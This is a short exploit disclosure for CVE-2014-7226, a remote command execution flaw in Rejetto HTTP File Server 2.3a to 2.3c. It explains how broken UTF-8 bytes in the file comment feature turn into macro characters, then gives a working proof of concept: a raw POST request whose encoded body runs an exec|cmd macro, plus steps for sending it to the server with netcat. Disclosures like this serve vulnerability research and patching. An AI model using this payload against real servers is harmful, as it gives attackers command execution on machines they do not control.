Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c - Remote Command Execution

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HTTP File Server 2.3a - 2.3b - 2.3c Remote Command Execution

# Author : Daniele Linguaglossa
# Date: 30/09/2014
# Remote: Yes
# Vendor Homepage: http://rejetto.com/
# Software Link: http://downloads.sourceforge.net/hfs/hfs2.3c.src.zip
# CVE: CVE-2014-7226
# Vendor Hompage: http://www.rejetto.com
# Tested on: Windows 8
# Version: 2.3a - 2.3b - 2.3c

The latest HTTP File Server (2.3c and maybe prior too) was found to be
vulnerable to a remote command execution in the file comment features ,
because the application did not properly validate uft-8 broken byte
representation, in fact during parsing program won't notice that there are
multiple invalid representation and when they are printed into the page
will get replaced with one of these characters " { . | } "  causing a macro
to be executed.
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PoC
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bug-utf8.txt
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POST /upload/?mode=section&id=ajax.comment HTTP/1.1
Connection: Close
Content-Type:application/x-www-form-urlencoded

text=%c1%bb%c0%aeexec%c1%bccmd%c0%ae%c1%bd&files=x
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Copy the following on a file called bug-utf8.txt , then open hfs and add a
folder called upload,
it will ask if anyone should have upload permission click yes then with
netcat do the following:

nc localhost 8080 < bug-utf8.txt

if everything was fine you should see a new command prompt being executed
from hfs.

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